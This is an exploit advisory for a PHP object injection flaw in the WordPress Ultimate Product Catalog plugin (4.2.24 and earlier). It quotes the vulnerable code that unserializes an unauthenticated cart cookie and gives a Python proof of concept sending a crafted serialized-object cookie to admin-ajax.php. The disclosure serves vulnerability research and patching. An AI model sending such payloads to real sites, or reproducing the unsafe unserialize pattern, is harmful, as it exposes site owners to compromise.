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WordPress Ultimate Product Catalog 4.2.24 PHP Object Injection

WordPress Ultimate Product Catalog 4.2.24 PHP Object Injection
Posted Oct 30, 2017
Authored by tomplixsee

WordPress Ultimate Product Catalog plugin versions 4.2.24 and below suffer from a PHP object injection vulnerability.

tags | exploit, php
MD5 | 3f4ffd5d0fa22e90026bf5db1d8f6c0b

WordPress Ultimate Product Catalog 4.2.24 PHP Object Injection

Change Mirror Download
# Exploit Title: [WP Plugin Ultimate Product Catalog 4.2.24 PHP Object Injection]
# Google Dork: [NA]
# Date: [Okt 30 2017]
# Exploit Author: [tomplixsee]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [http://www.etoilewebdesign.com/plugins/ultimate-product-catalog/]
# Software Link: [https://wordpress.org/plugins/ultimate-product-catalogue/]
# Version: [<= 4.2.24]
# Tested on: [Ubuntu Server 16.04]
# CVE : [NA]

tested on app version 4.2.23, 4.2.24

we can send an evil cookie (login not required) to vulnerable function
1. vulnerable code on Functions/Process_Ajax.php <= tested

203 // Adds an item to the plugin's cart
204 function UPCP_Add_To_Cart() {
205 global $woocommerce;
206 global $wpdb;
207 global $items_table_name;
208
209 $WooCommerce_Checkout = get_option("UPCP_WooCommerce_Checkout");
210
211 if ($WooCommerce_Checkout == "Yes") {
212 $WC_Prod_ID = $wpdb->get_var($wpdb->prepare("SELECT Item_WC_ID FROM $items_table_name WHERE Item_ID=%d", sanitize_text_field($_POST['prod_ID'])));
213 echo "WC ID: " . $WC_Prod_ID . "<Br>";
214 $woocommerce->cart->add_to_cart($WC_Prod_ID);
215 }
216
217 if (isset($_COOKIE['upcp_cart_products'])) {
218 $Products_Array = unserialize(str_replace('\"', '"', $_COOKIE['upcp_cart_products']));
219 }
220 else {
221 $Products_Array = array();
222 }
223
224 $Products_Array[] = $_POST['prod_ID'];
225 $Products_Array = array_unique($Products_Array);
226 setcookie('upcp_cart_products', serialize($Products_Array), time()+3600*24*3, "/");
227 }
228 add_action('wp_ajax_upcp_add_to_cart', 'UPCP_Add_To_Cart');
229 add_action( 'wp_ajax_nopriv_upcp_add_to_cart', 'UPCP_Add_To_Cart' );

2. vulnerable code on Functions/Shortcodes.php <= not tested

POC
1. use a WP plugin to test php object injection,
like this one https://www.pluginvulnerabilities.com/2017/07/24/wordpress-plugin-for-use-in-testing-for-php-object-injection/

2. make a request
#-----------------------------------
#! /usr/bin/python
import requests
url = "http://vbox-ubuntu-server.me/wordpress/wp-admin/admin-ajax.php?";
data = {'action':'upcp_add_to_cart'}
headers = {
'Content-type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Cookie': 'upcp_cart_products=O:20:"PHP_Object_Injection":0:{}'
}
r = requests.post(url, data=data, headers=headers)

print r.content

#------------------------------------

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